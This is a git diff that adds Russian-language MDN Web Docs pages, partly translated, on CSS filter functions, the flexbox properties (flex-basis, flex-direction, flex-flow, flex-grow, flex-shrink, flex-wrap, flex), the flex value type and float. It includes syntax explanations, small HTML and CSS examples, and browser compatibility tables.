+ +
filter: invert(100%)
+ + + +

{{EmbedLiveSample('invert_example','100%','407px','')}}

+ +

opacity() [непрозрачность]

+ +

Applies transparency to the samples in the input image. The value of ‘amount’ defines the proportion of the conversion. A value of 0% is completely transparent. A value of 100% leaves the input unchanged. Values between 0% and 100% are linear multipliers on the effect. This is equivalent to multiplying the input image samples by amount. If the ‘amount’ parameter is missing, a value of 1 is used. This function is similar to the more established {{Cssxref("opacity")}} property; the difference is that with filters, some browsers provide hardware acceleration for better performance.

+ +
filter: opacity(50%)
+ + + +

{{EmbedLiveSample('opacity_example','100%','210px','')}}

+ +

saturate() [насыщенность]

+ +

Saturates the input image. The value of ‘amount’ defines the proportion of the conversion. A value of 0% is completely un-saturated. A value of 100% leaves the input unchanged. Other values are linear multipliers on the effect. Values of amount over 100% are allowed, providing super-saturated results. If the ‘amount’ parameter is missing, a value of 1 is used.

+ +
filter: saturate(200%)
+ + + +

{{EmbedLiveSample('saturate_example','100%','332px','')}}

+ +

sepia() [сепия]

+ +

Converts the input image to sepia. The value of ‘amount’ defines the proportion of the conversion. A value of 100% is completely sepia. A value of 0% leaves the input unchanged. Values between 0% and 100% are linear multipliers on the effect. If the ‘amount’ parameter is missing, a value of 0 is used.

+ +
filter: sepia(100%)
+ + + +

{{EmbedLiveSample('sepia_example','100%','229px','')}}

+ +

Комбинирование функций

+ +

You may combine any number of functions to manipulate the rendering. The following example enhances the contrast and brightness of the image.

+ +
filter: contrast(175%) brightness(103%)
+ + + +

{{EmbedLiveSample('combination_example','100%','209px','')}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('Filters 1.0', '#FilterProperty', 'filter') }}{{ Spec2('Filters 1.0') }}Первоначальное определение
+ +

Совместимость с браузерами

+ + + +

{{Compat("css.properties.filter")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/flex-basis/index.html b/files/ru/web/css/flex-basis/index.html new file mode 100644 index 0000000000..ab77e783d5 --- /dev/null +++ b/files/ru/web/css/flex-basis/index.html @@ -0,0 +1,224 @@ +--- +title: flex-basis +slug: Web/CSS/flex-basis +translation_of: Web/CSS/flex-basis +--- +
{{CSSRef}}
+ +

CSS свойство flex-basis задает базовый размер флекс элемента по основной оси. Это свойство определяет размер контент-бокса, если не задано иначе через {{Cssxref("box-sizing")}}.

+ +
{{EmbedInteractiveExample("pages/css/flex-basis.html")}}
+ + + +
+

Внимание: в случае, если для элемента одновременно заданы flex-basis (отличное от auto) и width ( или height в случае flex-direction: column), flex-basis имеет приоритет.

+
+ +

{{cssinfo}}

+ +

Синтаксис

+ + + +
/* Устанавливает <'ширину'> */
+flex-basis: 10em;
+flex-basis: 3px;
+flex-basis: auto;
+
+/* Intrinsic sizing keywords */
+flex-basis: fill;
+flex-basis: max-content;
+flex-basis: min-content;
+flex-basis: fit-content;
+
+/* Автоматически изменяет размер на основе содержимого элемента */
+flex-basis: content;
+
+/* Глобальное значения */
+flex-basis: inherit;
+flex-basis: initial;
+flex-basis: unset;
+
+ + + +

Свойство flex-basis задается через ключевое слово content или через <'width'>.

+ +

Значения

+ +
+
<'ширина'>
+
An absolute {{cssxref("<length>")}}, a {{cssxref("<percentage>")}} родительского flex контейнера главное size свойство, или ключевое слово auto. Негативные значения не допустимы.
+
content
+
Автоматический задает размер на основе содержимого элемента flex.
+
+
Заметка: Это значение отсутствовало в первоначальном релизе Flexible Box Layout, и, следовательно, некоторые предыдущие релизы не будут поддерживать его. Аналогичный эффект можно получить, используя auto вместе с основным размером (width или height) auto.
+ +
+

История:

+ +
    +
  • Первоначально, flex-basis:auto означает "смотреть на значения width или height".
    • +
  • Затем flex-basis:auto был изменен на автоматический размер, а "main-size" было введено как ключевое слово, означающее "смотреть на значения width или height".  Это было реализован в  баге 1032922.
    • +
  • Затем в баге 1093316 это было возвращено обратно, поэтому auto снова означает "смотреть на значения width или height"; а новое ключевое слово content было введено для автоматического размера. ({{bug("1105111")}} охватывает добавление этого ключевого слова).
    • +
+
+
+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Example

+ +

HTML

+ +
<ul class="container">
+  <li class="flex flex1">1: flex-basis test</li>
+  <li class="flex flex2">2: flex-basis test</li>
+  <li class="flex flex3">3: flex-basis test</li>
+  <li class="flex flex4">4: flex-basis test</li>
+  <li class="flex flex5">5: flex-basis test</li>
+</ul>
+
+<ul class="container">
+  <li class="flex flex6">6: flex-basis test</li>
+</ul>
+
+ +

CSS

+ +
.container {
+  font-family: arial, sans-serif;
+  margin: 0;
+  padding: 0;
+  list-style-type: none;
+  display: flex;
+  flex-wrap: wrap;
+}
+
+.flex {
+  background: #6AB6D8;
+  padding: 10px;
+  margin-bottom: 50px;
+  border: 3px solid #2E86BB;
+  color: white;
+  font-size: 20px;
+  text-align: center;
+  position: relative;
+}
+
+.flex:after {
+  position: absolute;
+  z-index: 1;
+  left: 0;
+  top: 100%;
+  margin-top: 10px;
+  width: 100%;
+  color: #333;
+  font-size: 18px;
+}
+
+.flex1 {
+  flex-basis: auto;
+}
+
+.flex1:after {
+  content: 'auto';
+}
+
+.flex2 {
+  flex-basis: max-content;
+}
+
+.flex2:after {
+  content: 'max-content';
+}
+
+.flex3 {
+  flex-basis: min-content;
+}
+
+.flex3:after {
+  content: 'min-content';
+}
+
+.flex4 {
+  flex-basis: fit-content;
+}
+
+.flex4:after {
+  content: 'fit-content';
+}
+
+.flex5 {
+   flex-basis: content;
+}
+
+.flex5:after {
+  content: 'content';
+}
+
+.flex6 {
+  flex-basis: fill;
+}
+
+.flex6:after {
+  content: 'fill';
+}
+
+ +

Results

+ +

{{EmbedLiveSample('Example', '860', '360', '', 'Web/CSS/flex-basis')}}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Flexbox', '#propdef-flex-basis', 'flex-basis')}}{{Spec2('CSS3 Flexbox')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("css.properties.flex-basis")}}

+ +

See also

+ + + +
+ +
+
+
+
+ +
+ +
+
+ +
+
+
diff --git a/files/ru/web/css/flex-direction/index.html b/files/ru/web/css/flex-direction/index.html new file mode 100644 index 0000000000..a4a62c5a77 --- /dev/null +++ b/files/ru/web/css/flex-direction/index.html @@ -0,0 +1,149 @@ +--- +title: flex-direction +slug: Web/CSS/flex-direction +translation_of: Web/CSS/flex-direction +--- +

{{ CSSRef("CSS Flexible Boxes") }}

+ +

Резюме

+ +

flex-direction - CSS свойство , указывающее на то,как flex-элементы располагаются во flex-контейнере по главной оси и направлению (normal или reversed).

+ +

Обратите внимание, что значения row и row-reverse зависят от направления flex-контейнера. Если его атрибут dir равен ltr, row представляет собой горизонтальную ось, ориентированную слева направо, а row-reverse - справа налево; если атрибут dir равен rtl, row представляет собой горизонтальную ось, ориентированную справа налево, а row-reverse - слева направо.

+ +

{{cssinfo}}

+ +

См. Using CSS flexible boxes для детализации по свойствам и дополнительной информации.

+ +

Синтаксис

+ +
/* The direction text is laid out in a line */
+flex-direction: row;
+
+/* Как <row>, но наоборот */
+flex-direction: row-reverse;
+
+/* The direction in which lines of text are stacked */
+flex-direction: column;
+
+/* Как <column>, но наоборот */
+flex-direction: column-reverse;
+
+/* Общие значения */
+flex-direction: inherit;
+flex-direction: initial;
+flex-direction: unset;
+
+ +

Значения

+ +

Может принимать следующие значения::

+ +
+
row
+
Главная ось flex-контейнера определена точно так же, как направление текста. Точки main-start и main-end совпадают с направлением контента.
+
row-reverse
+
Ведет себя аналогично row , но точки main-start и main-end поменяны местами.
+
column
+
Главная ось flex-контейнера такая же, как ось блока (block-axis). Точки main-start и main-end такие же, как точки before и after режима записи (writing-mode).
+
column-reverse
+
Ведет себя, как column , но точки main-start и main-end поменяны местами.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Пример

+ +
element {
+  flex-direction: row-reverse;
+}
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусПримечание
{{ SpecName('CSS3 Flexbox', '#flex-direction', 'flex-direction') }}{{ Spec2('CSS3 Flexbox') }}Initial definition
+ +

Поддержка браузеров

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
ОсобенностьFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Базовая поддержка{{CompatGeckoDesktop("18.0")}} (behind a pref) [1][2]
+ {{CompatGeckoDesktop("20.0")}}		21.0{{ property_prefix("-webkit") }} +

10 {{ property_prefix("-ms") }}
+ 11

+ 		12.10 +

7 {{ property_prefix("-webkit") }}

+
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ОсобенностьFirefox Mobile (Gecko)AndroidIE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}12.10 +

{{CompatNo}}

+
+
+ +

[1] Для активации поддержки flexbox в Firefox 18 и 19 пользователь должен сменить предпочтение about:config "layout.css.flexbox.enabled" на true.

+ +

[2] Многострочный flexbox поддерживается, начиная с Firefox 28.

+ +

Смотрите также:

+ + diff --git a/files/ru/web/css/flex-flow/index.html b/files/ru/web/css/flex-flow/index.html new file mode 100644 index 0000000000..48f89c315b --- /dev/null +++ b/files/ru/web/css/flex-flow/index.html @@ -0,0 +1,136 @@ +--- +title: flex-flow +slug: Web/CSS/flex-flow +translation_of: Web/CSS/flex-flow +--- +
{{ CSSRef}}
+ +

flex-flow CSS свойство, которое является сокращением для отдельных свойств flex-direction и flex-wrap.

+ +
/* flex-flow: <'flex-direction'> */
+flex-flow: row;
+flex-flow: row-reverse;
+flex-flow: column;
+flex-flow: column-reverse;
+
+/* flex-flow: <'flex-wrap'> */
+flex-flow: nowrap;
+flex-flow: wrap;
+flex-flow: wrap-reverse;
+
+/* flex-flow: <'flex-direction'> and <'flex-wrap'> */
+flex-flow: row nowrap;
+flex-flow: column wrap;
+flex-flow: column-reverse wrap-reverse;
+
+/* Global values */
+flex-flow: inherit;
+flex-flow: initial;
+flex-flow: unset;
+
+ +

{{cssinfo}}

+ +

Больше информации и свойств описано в Using CSS flexible boxes.

+ +

Синтаксис

+ +

Значения

+ +

Смотрите flex-direction и flex-wrap.

+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +
element {
+  /* Main-axis is the block direction with reversed main-start and main-end. Flex items are laid out in multiple lines */
+  flex-flow: column-reverse wrap;
+}
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS3 Flexbox','#flex-flow','flex-flow') }}{{ Spec2('CSS3 Flexbox') }}Начальное значение
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьFirefox (Gecko)ChromeEdgeInternet ExplorerOperaSafari
Базовая поддержка28.0[1]21.0{{property_prefix("-webkit")}}
+ 29.0		{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatVersionUnknown}}		1112.106.1{{ property_prefix("-webkit") }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьFirefox Mobile (Gecko)AndroidEdgeIE PhoneOpera MobileSafari Mobile
Базовая поддержка28.0[1]{{ CompatUnknown() }}{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatVersionUnknown}}		1112.107.1{{ property_prefix("-webkit") }}
+
+ +

[1] В дополенение к безпрефиксной поддержке, Gecko 48.0 {{geckoRelease("48.0")}} добавило поддержку для -webkit префиксной версии свойства для веб для веб совместимости, для тех кто не изменял значение своих настроек layout.css.prefixes.webkit,  по-умолчанию false. Поскольку Gecko 49.0 {{geckoRelease("49.0")}} предпочтительное значение по-умолчанию true.

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/flex-grow/index.html b/files/ru/web/css/flex-grow/index.html new file mode 100644 index 0000000000..ee742c94f2 --- /dev/null +++ b/files/ru/web/css/flex-grow/index.html @@ -0,0 +1,137 @@ +--- +title: flex-grow +slug: Web/CSS/flex-grow +tags: + - CSS + - CSS Flexible Boxes + - CSS Property + - CSS-свойство + - NeedsContent + - Reference +translation_of: Web/CSS/flex-grow +--- +
{{CSSRef}}
+ +

CSS-свойство flex-grow определяет как много свободного пространства во flex-контейнере должно быть назначено текущему элементу (flex grow factor — «коэффициент увеличения flex»). Свободное пространство — разница между размером flex-контейнера и размером всех его flex-элементов вместе. Если все sibling-элементы (sibling items — элементы одного уровня вложенности, состоящие по отношению друг к другу в родственной связи как брат или сестра), имеют одинаковый коэффициент flex-grow, то все они получат одинаковую долю свободного пространства, в противном случае оно распределяется в соответствии с соотношением, определенным различными коэффициентами flex-grow.

+ +

На практике flex-grow используется вместе с другими flex-свойствами {{cssxref("flex-shrink")}} и {{cssxref("flex-basis")}}, и обычно определяется с помощью сокращения (shorthand) {{cssxref("flex")}}, чтобы убедиться, что все значения заданы.

+ +
{{EmbedInteractiveExample("pages/css/flex-grow.html")}}
+ + + +

Синтаксис

+ +
/* Значения типа <number>*/
+flex-grow: 3;
+flex-grow: 0.6;
+
+/* Глобальные значения */
+flex-grow: inherit;
+flex-grow: initial;
+flex-grow: unset;
+
+ +

Свойство flex-grow указывается одним числом — значением типа <number>.

+ +

Значения

+ +
+
<number>
+
См. {{cssxref("<number>")}}. Отрицательные значения недопустимы. По умолчанию 0.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Пример

+ +

HTML

+ +
+
<h4>Это — Flex-Grow</h4>
+<h5>A,B,C и F имеют коэффициент увеличения flex-grow:1, а D и E — flex-grow:2 .</h5>
+<div id="content">
+  <div class="box" style="background-color:red;">A</div>
+  <div class="box" style="background-color:lightblue;">B</div>
+  <div class="box" style="background-color:yellow;">C</div>
+  <div class="box1" style="background-color:brown;">D</div>
+  <div class="box1" style="background-color:lightgreen;">E</div>
+  <div class="box" style="background-color:brown;">F</div>
+</div>
+
+ +

CSS

+ +
#content {
+  -ms-box-orient: horizontal;
+  display: -webkit-box;
+  display: -moz-box;
+  display: -ms-flexbox;
+  display: -moz-flex;
+  display: -webkit-flex;
+  display: flex;
+
+  -webkit-justify-content: space-around;
+  justify-content: space-around;
+  -webkit-flex-flow: row wrap;
+  flex-flow: row wrap;
+  -webkit-align-items: stretch;
+  align-items: stretch;
+}
+
+.box {
+  flex-grow: 1;
+  border: 3px solid rgba(0,0,0,.2);
+}
+
+.box1 {
+  flex-grow: 2;
+  border: 3px solid rgba(0,0,0,.2);
+}
+
+
+ +

Результат

+ +

{{EmbedLiveSample('Пример', '700px', '300px', '', 'Web/CSS/flex-grow')}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Flexbox','#flex-grow','flex-grow')}}{{Spec2('CSS3 Flexbox')}}Первичное определение
+ +

{{cssinfo}}

+ +

Совместимость с браузерами

+ + + +

{{Compat("css.properties.flex-grow")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/flex-shrink/index.html b/files/ru/web/css/flex-shrink/index.html new file mode 100644 index 0000000000..becc94cfd7 --- /dev/null +++ b/files/ru/web/css/flex-shrink/index.html @@ -0,0 +1,112 @@ +--- +title: flex-shrink +slug: Web/CSS/flex-shrink +translation_of: Web/CSS/flex-shrink +--- +
{{CSSRef}}
+ +

flex-shrink — свойство CSS, которое определяет фактор сжатия flex-элемента. Flex-элементы будут заполнять контейнер в зависимости от значения flex-shrink, когда стандартная ширина flex-элементов шире, чем flex-контейнер.

+ +

flex-shrink используется вместе со свойствами flex {{cssxref("flex-grow")}} и {{cssxref("flex-basis")}}. Обычно определяется с помощью сокращения {{cssxref("flex")}}.

+ +
{{EmbedInteractiveExample("pages/css/flex-shrink.html")}}
+ +

Синтаксис

+ +
/* <number> значения */
+flex-shrink: 2;
+flex-shrink: 0.6;
+
+/* Глобальное значение */
+flex-shrink: inherit;
+flex-shrink: initial;
+flex-shrink: unset;
+
+ +

flex-shrink свойство определятся одним <number>.

+ +

Значения

+ +
+
<number>
+
Смотри {{cssxref("<number>")}}. Отрицательные значения не валидны.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+
+ +

Пример

+ +

HTML

+ +
+
<p>Ширина контента 500px; flex-basis для flex элементов 120px.</p>
+<p>A, B, C имеют flex-shrink:1 значение. А у D и E - flex-shrink:2</p>
+<p>Ширина D и E меньше других.</p>
+<div id="content">
+  <div class="box" style="background-color:red;">A</div>
+  <div class="box" style="background-color:lightblue;">B</div>
+  <div class="box" style="background-color:yellow;">C</div>
+  <div class="box1" style="background-color:brown;">D</div>
+  <div class="box1" style="background-color:lightgreen;">E</div>
+</div>
+
+ +

CSS

+ +
#content {
+  display: flex;
+  width: 500px;
+}
+
+#content div {
+  flex-basis: 120px;
+  border: 3px solid rgba(0,0,0,.2);
+}
+
+.box {
+  flex-shrink: 1;
+}
+
+.box1 {
+  flex-shrink: 2;
+}
+
+
+ +

Результат

+ +

{{ EmbedLiveSample('Пример', '500px', '300px', '', 'Web/CSS/flex-shrink') }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS3 Flexbox', '#flex-shrink', 'flex-shrink') }}{{ Spec2('CSS3 Flexbox') }}Изначальное определение
+ +

Совместимость с браузерами

+ +

{{Compat("css.properties.flex-shrink")}}

+ +

Смотрите также

+ + + +

diff --git a/files/ru/web/css/flex-wrap/index.html b/files/ru/web/css/flex-wrap/index.html new file mode 100644 index 0000000000..11724a35cb --- /dev/null +++ b/files/ru/web/css/flex-wrap/index.html @@ -0,0 +1,147 @@ +--- +title: flex-wrap +slug: Web/CSS/flex-wrap +translation_of: Web/CSS/flex-wrap +--- +
{{ CSSRef}}
+ +

Свойство CSS flex-wrap задает правила вывода flex-элементов —  в одну строку или в несколько, с переносом блоков. Если перенос разрешен, то возможно задать направление, в котором выводятся блоки.

+ +
flex-wrap: nowrap;
+flex-wrap: wrap;
+flex-wrap: wrap-reverse;
+
+/* Global values */
+flex-wrap: inherit;
+flex-wrap: initial;
+flex-wrap: unset;
+
+ +

{{cssinfo}}

+ +

Подробнее по свойствам и общей информации смотрите Using CSS flexible boxes.

+ +

Syntax

+ +

Свойство flex-wrap может содержать одно из следующих ниже значений.

+ +

Значения

+ +

Допускаются следующие значения:

+ +
+
nowrap
+
Расположение в одну линию, может привести к переполнению контейнера. Свойство cross-start эквивалентно start или before в зависимости от значения {{cssxref("flex-direction")}}.
+
wrap
+
Расположение в несколько линий. Свойство cross-start эквивалентно start или before в зависимости отзначения flex-direction и свойство cross-end противоположно cross-start.
+
wrap-reverse
+
Ведёт себя так же, как и wrap но cross-start и cross-end инвертированы.
+
+

Formal syntax

+
+
+ +
{{csssyntax}}
+ +

Examples

+ +

HTML

+ +
+
<h4>This is an example for flex-wrap:wrap </h4>
+<div class="content">
+  <div class="red">1</div>
+  <div class="green">2</div>
+  <div class="blue">3</div>
+</div>
+<h4>This is an example for flex-wrap:nowrap </h4>
+<div class="content1">
+  <div class="red">1</div>
+  <div class="green">2</div>
+  <div class="blue">3</div>
+</div>
+<h4>This is an example for flex-wrap:wrap-reverse </h4>
+<div class="content2">
+  <div class="red">1</div>
+  <div class="green">2</div>
+  <div class="blue">3</div>
+</div>
+
+ +

CSS

+ +
/* Common Styles */
+.content,
+.content1,
+.content2 {
+    color: #fff;
+    font: 100 24px/100px sans-serif;
+    height: 150px;
+    text-align: center;
+}
+
+.content div,
+.content1 div,
+.content2 div {
+    height: 50%;
+    width: 50%;
+}
+.red {
+    background: orangered;
+}
+.green {
+    background: yellowgreen;
+}
+.blue {
+    background: steelblue;
+}
+
+/* Flexbox Styles */
+.content {
+    display: flex;
+    flex-wrap: wrap;
+}
+.content1 {
+    display: flex;
+    flex-wrap: nowrap;
+}
+.content2 {
+    display: flex;
+    flex-wrap: wrap-reverse;
+}
+
+
+
+ +

Results

+ +

{{ EmbedLiveSample('Examples', '700px', '700px', '', 'Web/CSS/flex-wrap') }}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Flexbox', '#flex-wrap-property', 'flex-wrap') }}{{ Spec2('CSS3 Flexbox') }}
+ +

Browser compatibility

+ +

{{Compat("css.properties.flex-wrap")}}

+ +

See also

+ + diff --git a/files/ru/web/css/flex/index.html b/files/ru/web/css/flex/index.html new file mode 100644 index 0000000000..c91553c0b1 --- /dev/null +++ b/files/ru/web/css/flex/index.html @@ -0,0 +1,201 @@ +--- +title: flex +slug: Web/CSS/flex +translation_of: Web/CSS/flex +--- +
{{CSSRef}}
+ +

Описание

+ +

Свойство CSS flex - это сокращенное свойство, определяющее способность гибкого элемента растягиваться или сжиматься для заполнения собой доступного свободного пространства. Это свойство устанавливает flex-grow, flex-shrink и flex-basis.

+ +

{{cssinfo}}

+ +

Для более полной информации читайте Использование flex-контейнеров CSS.

+ +

Синтаксис

+ +
/* 0 0 auto */
+flex: none;
+
+/* Одно значение, число без единиц: flex-grow */
+flex: 2;
+
+/* Одно значение, ширина/высота: flex-basis */
+flex: 10em;
+flex: 30px;
+flex: auto;
+flex: content;
+
+/* Два значения: flex-grow | flex-basis */
+flex: 1 30px;
+
+/* Два значения: flex-grow | flex-shrink */
+flex: 2 2;
+
+/* Три значения: flex-grow | flex-shrink | flex-basis */
+flex: 2 2 10%;
+
+/* Глобальные значения */
+flex: inherit;
+flex: initial;
+flex: unset;
+
+ +

Значения

+ +
+
<'flex-grow'>
+
Определяет {{cssxref("flex-grow")}} для флекс элемента. Смотри {{cssxref("<number>")}} для большей информации. Негативные значения считаются недействительными. Значение по умолчанию  0, если не указано.
+
<'flex-shrink'>
+
Определяет {{cssxref("flex-shrink")}} для флекс элемента. Смотри {{cssxref("<number>")}} для большей информации. Негативные значения считаются недействительными. Значение по умолчанию  1, если не указано.
+
<'flex-basis'>
+
Определяет {{cssxref("flex-basis")}} для флекс элемента. Любое корректное значение для высоты(height) и ширины(width) - корректно и для данного свойства. Предпочтительный размер 0 должен иметь единицу измерения, чтобы не восприниматься как гибкий. Значение по умолчанию  0%, если не указано.
+
none
+
Размер элемента устанавливается в соответствии с его свойствами width и height. Он полностью негибкий: не сжимается и не увеличивается по отношению к гибкому контейнеру. Эквивалентно значению "flex: 0 0 auto".
+
+

Формальный синтаксис

+
+
+ +
{{csssyntax}}
+ +

Пример

+ +
#flex-container {
+	display: -webkit-flex;
+	display: flex;
+	-webkit-flex-direction: row;
+	flex-direction: row;
+}
+
+#flex-container > .flex-item {
+	-webkit-flex: auto;
+	flex: auto;
+}
+
+#flex-container > .raw-item {
+	width: 5rem;
+}
+
+ +
<div id="flex-container">
+    <div class="flex-item" id="flex">Flex box (click to toggle raw box)</div>
+    <div class="raw-item" id="raw">Raw box</div>
+</div>
+
+ + + +

Результат

+ +

{{EmbedLiveSample('%D0%9F%D1%80%D0%B8%D0%BC%D0%B5%D1%80','100%','60')}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Flexbox', '#flex', 'flex')}}{{Spec2('CSS3 Flexbox')}}Initial definition
+ +

Поддержка браузерами

+ +

{{CompatibilityTable()}}

+ +
+ + + + + + + + + + + + + + + + + + + +
ОсобенностьFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Базовая поддержка{{CompatGeckoDesktop("18.0")}} (behind a pref) [1] [2]
+ {{CompatGeckoDesktop("20.0")}} [2][3]		21.0{{property_prefix("-webkit")}}
+ 29.0		10.0{{property_prefix("-ms")}} [3][4]
+ 11.0 [3][4]		12.106.1{{property_prefix("-webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ОсобенностьFirefox Mobile (Gecko)AndroidIE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown()}}4.41112.107.1{{property_prefix("-webkit")}}
+
+ +

[1]  Для активации flexbox для Firefox 18 и 19 пользователю неободимо внести следующее изменение:
+ свойство конфигурации "layout.css.flexbox.enabled" вtrue.

+ +

[2] Multi-line flexbox поддерживается Firefox 28.

+ +

[3] Internet Explorer 10-11 (кроме 12+) игонорируют использование calc() во flex-basis части flex синтаксиса. Это можно обойти, используя свойства longhand вместо сокращения. Дополнительную информацию см. В Flexbug # 8.

+ +

[4] В Internet Explorer 10-11 (кроме 12+),  объявление flex без единичного значения в его flex-basis части считается синтаксически недействительным и поэтому игнорируется. Обходной путь состоит в том, чтобы всегда включать единицу в flex-basis часть flex . Дополнительную информацию см. В Flexbug #4.

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/flex_value/index.html b/files/ru/web/css/flex_value/index.html new file mode 100644 index 0000000000..c43a75c0cc --- /dev/null +++ b/files/ru/web/css/flex_value/index.html @@ -0,0 +1,49 @@ +--- +title: +slug: Web/CSS/flex_value +translation_of: Web/CSS/flex_value +--- +
{{CSSRef}}
+ +

CSS тип данных <flex> определеяет гибкую длину в сеточном контейнере. Он используется в таких свойствах, как {{cssxref("grid-template-columns")}}, {{cssxref("grid-template-rows")}}.

+ +

Синтаксис

+ +

Тип данных <flex> определяется как {{cssxref("<number>")}} с единицей измерения fr. Единица измерения fr представляет собой долю оставшегося в сетке пространства. Как и все CSS размеры, между числом и единицей измерения нет пробела.

+ +

Примеры

+ +
1fr    /* Целочисленное значение */
+2.5fr  /* Дробное значение */
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацииСтатусКомментарий
{{SpecName("CSS Grid", "#typedef-flex", "<flex>")}}{{Spec2("CSS Grid")}}Initial definition.
+ +

Совместимость с браузерами

+ + + +

{{Compat("css.types.flex")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/float/index.html b/files/ru/web/css/float/index.html new file mode 100644 index 0000000000..ff10399e59 --- /dev/null +++ b/files/ru/web/css/float/index.html @@ -0,0 +1,244 @@ +--- +title: float +slug: Web/CSS/float +translation_of: Web/CSS/float +--- +
Свойство float CSS указывает, что элемент должен быть взят из нормального потока и помещен вдоль левой или правой стороны его контейнера, где текст и встроенные элементы будут обтекать его.{{CSSRef}}
+ +

Summary

+ +

CSS свойство float указывает, что текущий элемент должен быть изъят из обычного flow (потока) и прижат к левой или правой стороне родительского элемента. Текст и inline элементы будут обтекать такой элемент.

+ +

Плавающий элемент - это любой элемент со свойством float отличным от none.

+ +

{{cssinfo}}

+ +

Поскольку float подразумевает использование блочной модели, это свойство изменяет вычисляемые значения {{cssxref("display")}} в следующих случаях:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Specified valueComputed value
inlineblock
inline-blockblock
inline-tabletable
table-rowblock
table-row-groupblock
table-columnblock
table-column-groupblock
table-cellblock
table-captionblock
table-header-groupblock
table-footer-groupblock
flexflex, float не оказывает влияния на такие элементы
inline-flexinline-flex, float не оказывает влияния на такие элементы
otherне меняются
+ +
Note: If you're referring to this property from JavaScript as a member of the {{domxref("element.style")}} object, you must spell it as cssFloat. Also note that Internet Explorer versions 8 and older spelled this styleFloat. This is an exception to the rule that the name of the DOM member is the camel-case name of the dash-separated CSS name (and is due to the fact that "float" is a reserved word in JavaScript, as with the need to escape "class" as "className" and escape <label>'s "for" as "htmlFor").
+ +

Syntax

+ +
float: left;
+float: right;
+float: none;
+
+float: inherit;
+
+ +

Values

+ +
+
left
+
Is a keyword indicating that the element must float on the left side of its containing block.
+
right
+
Is a keyword indicating that the element must float on the right side of its containing block.
+
none
+
Is a keyword indicating that the element must not float.
+
+

Formal syntax

+
+
+ +
{{csssyntax("float")}}
+
+ +

Examples

+ +

Посмотреть живые примеры

+ +
<style type="text/css">
+  div { border: solid red;  max-width: 70ex; }
+  h4  { float: left;  margin: 0; }
+</style>
+
+<div>
+  <h4>HELLO!</h4>
+  This is some text. This is some text. This is some text.
+  This is some text. This is some text. This is some text.
+  This is some text. This is some text. This is some text.
+  This is some text. This is some text. This is some text.
+</div>
+
+ +
+

HELLO!

+This is some text. This is some text. This is some text. This is some text. This is some text. This is some text. This is some text. This is some text. This is some text. This is some text. This is some text. This is some text.
+ +

How floats are positioned

+ +

As mentioned above, when an element is floated it is taken out of the normal flow of the document. It is shifted to the left or right until it touches the edge of it's containing box or another floated element.

+ +

In the image below, there are three red squares. Two are floated left and one is floated right. Note that the second "left" red square is placed to the right of the first. Additional squares would continue to stack to the right until they filled the containing box, after which they would wrap to the next line.

+ +

+ +

Clearing floats

+ +

In the example above, the floated elements are shorter vertically than the block of text they're floated within. However, if the text was not long enough to wrap below the bottom of all the floats, we might see unanticipated effects. If the paragraph above, for instance, only read "Lorem ipsum dolor sit amet," and was followed by another heading of the same style as the "Floats Example" heading, the second heading would appear between the red boxes. Most likely, we want the next heading to be aligned all the way to the left. To accomplish that, we'd need to clear the floats.

+ +

The simplest way to clear the floats in this example is to add the {{Cssxref("clear")}} property to the new heading we want to be sure is aligned left:

+ +
h2.secondHeading { clear: both; }
+
+ +

However, this method only works if there are no other elements within the same block formatting context that we do want the heading to continue to appear next to horizontally. If our H2 has siblings which are a sidebars floated to the left and right, using clear will force it to appear below both sidebars, which is probably not what we want.

+ +

If clearing floats on an element below them is not an option, another approach is to limit the block formatting context of the floats' container. Referring to the example above again, it appears that all three red boxes are within a P element. We can set the {{Cssxref("overflow")}} property on that P to hidden or auto to cause it to expand to contain them, but not allow them to drop out the bottom of it:

+ +
p.withRedBoxes { overflow: hidden; height: auto; }
+
+ +
Note: Setting overflow to scroll will also contain any floated child elements, but will show scrollbars no matter the height of the content. Here we're setting height to auto even though that's the default to indicate that the container should grow to accommodate its content.
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
